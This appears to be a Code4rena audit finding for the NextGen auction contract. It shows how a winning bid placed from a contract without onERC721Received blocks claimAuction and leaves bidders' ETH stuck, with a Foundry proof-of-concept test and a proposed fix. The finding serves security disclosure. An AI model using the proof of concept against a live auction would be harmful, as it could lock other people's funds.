If auction winner doesn't accept the NFT, bidders won't get refunded

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L111

Vulnerability details

Impact

If the winning bidder bids through a contract, safeTransferFrom will revert if the bidder contract doesn't have an onERC721Received function or doesn't respond with the correct selector. In this case, the previous bidders won't receive a refund and the owner won't receive the highestBid => ETH stuck in contract

IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);

111

It is unlikely that this will be used as an attack vector, because the winner would also lose his bid(s) and not receive the auctioned token, but it could happen accidentally.

Proof Of Concept

pragma solidity ^0.8.0;

import "forge-std/Test.sol";

import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol";
import {NextGenCore} from "../smart-contracts/NextGenCore.sol";
import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol";
import {randomPool} from "../smart-contracts/XRandoms.sol";
import {auctionDemo} from "../smart-contracts/AuctionDemo.sol";
import {Ownable} from "../smart-contracts/Ownable.sol";

contract BidderContract is Ownable {

    error CallFailed(bytes returndata);


    function execute(address target, bytes calldata data) external payable onlyOwner {
        (bool success, bytes memory returndata) = target.call{value: msg.value}(data);
        if(!success) {
            revert CallFailed(returndata);
        }
    }

    // doesn't have onERC721Received function
    receive() external payable {}

    function withdraw() external onlyOwner {
        (bool success, bytes memory returndata) = owner().call{value: address(this).balance}("");
        if(!success) {
            revert CallFailed(returndata);
        }
    }

}

contract NonERC721Receiver is Test {
    address dmc = vm.addr(100); // delegation registry - just eoa because not used here
    address auctionContractOwner = vm.addr(101);
    address collArtistAddress = vm.addr(102);
    address auctionTokenRecipient = vm.addr(103);
    NextGenMinterContract minter;
    NextGenAdmins adminContract;
    NextGenCore nextGenCore;
    NextGenRandomizerNXT randomizer;
    randomPool xRandoms;
    auctionDemo auctionContract;
    uint256 tokenId;

    uint256 collectionId1 = 1;
    uint256 collectionId2 = 2;

    string[] emptyStringArray = new string[](0);
    bytes32 emptyBytes;

    error CallFailed(bytes returndata);

    function setUp() public {
        adminContract = new NextGenAdmins();
        xRandoms = new randomPool();
        nextGenCore = new NextGenCore("name", "symbol", address(adminContract));
        randomizer = new NextGenRandomizerNXT(address(xRandoms), address(adminContract), address(nextGenCore));
        minter = new NextGenMinterContract(address(nextGenCore), dmc, address(adminContract));
        nextGenCore.addMinterContract(address(minter));

        // setup first collection
        nextGenCore.createCollection("collection1", "artist1", "description", "website", "CC0", "baseURI.com", "", emptyStringArray);
        nextGenCore.setCollectionData(collectionId1, collArtistAddress, 5, 50, 0);
        nextGenCore.addRandomizer(collectionId1, address(randomizer));
        // note - timePeriod has to be set to avoid division by 0
        minter.setCollectionCosts(collectionId1, 1 ether, 0, 0, 1, 1, address(0)); // fixed price
        // no allowlist, public mint starts now and ends in 1 day
        minter.setCollectionPhases(collectionId1, block.timestamp, 0, block.timestamp, block.timestamp + 1 days, emptyBytes);

        // setup auction contract
        vm.startPrank(auctionContractOwner);
        auctionContract = new auctionDemo(address(minter), address(nextGenCore), address(adminContract));
        vm.stopPrank();
        assertEq(auctionContract.owner(), auctionContractOwner);

        // msg.sender is global admin
        minter.mintAndAuction(auctionTokenRecipient, "empty tokendata", 0, collectionId1, block.timestamp + 2 days);
        uint256 mintIndex = nextGenCore.viewTokensIndexMin(collectionId1);
        tokenId = nextGenCore.tokenOfOwnerByIndex(auctionTokenRecipient, 0);
        // token was minted to tokenRecipient
        assertEq(tokenId, mintIndex);
        assertEq(nextGenCore.totalSupply(), 1);
        assertEq(nextGenCore.balanceOf(auctionTokenRecipient), 1);
        // contract approval
        vm.startPrank(auctionTokenRecipient);
        nextGenCore.approve(address(auctionContract), tokenId);
        vm.stopPrank();
    }

    function test_NonERC721Receiver() public {
        address bidder1 = vm.addr(201);
        vm.deal(bidder1, 1 ether);
        address bidder2 = vm.addr(202);
        vm.deal(bidder2, 2 ether);
         address bidder3 = vm.addr(203);
        vm.deal(bidder3, 3 ether);

        vm.startPrank(bidder1);
        auctionContract.participateToAuction{value: 1 ether}(tokenId);
        vm.stopPrank();

        vm.startPrank(bidder2);
        auctionContract.participateToAuction{value: 2 ether}(tokenId);
        vm.stopPrank();

        vm.startPrank(bidder3);
        BidderContract bidderContract = new BidderContract();
        bidderContract.execute{value: 3 ether}(address(auctionContract), abi.encodeWithSelector(auctionContract.participateToAuction.selector, tokenId));

        assertEq(auctionContract.returnHighestBid(tokenId), 3 ether);
        assertEq(auctionContract.returnHighestBidder(tokenId), address(bidderContract));

        vm.warp(block.timestamp + 2 days);
        vm.expectRevert();
        bidderContract.execute(address(auctionContract), abi.encodeWithSelector(auctionContract.claimAuction.selector, tokenId));
        vm.stopPrank();

        // this contract (global admin) tries to claim auction instead
        vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer");
        auctionContract.claimAuction(tokenId);

        // assertions
        assertEq(bidder1.balance, 0);
        assertEq(bidder2.balance, 0);
        assertEq(bidder3.balance, 0);
        assertEq(address(auctionContract).balance, 6 ether);
        assertEq(nextGenCore.ownerOf(tokenId), address(auctionTokenRecipient));
    }
}

Tools Used

Foundry

Recommended Mitigation steps

A parameter _transferTo could be added to the claimAuction function, so that if the winner doesn't accept the token, the auction can still be ended by the winner / functionAdmin / globalAdmin and the token be sent to a alternative address.

function claimAuction(uint256 _tokenid, address _transferTo) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
    ...
    if (_transferTo == address(0)) {
        _transferTo = highestBidder;
    }
    for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
        if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
            IERC721(gencore).safeTransferFrom(ownerOfToken, _transferTo_, _tokenid);
            ...
        }
    }
}

A second possibility is to check if the correct value is returned before a bid can be placed, if the bidder is a contract.

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1759

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)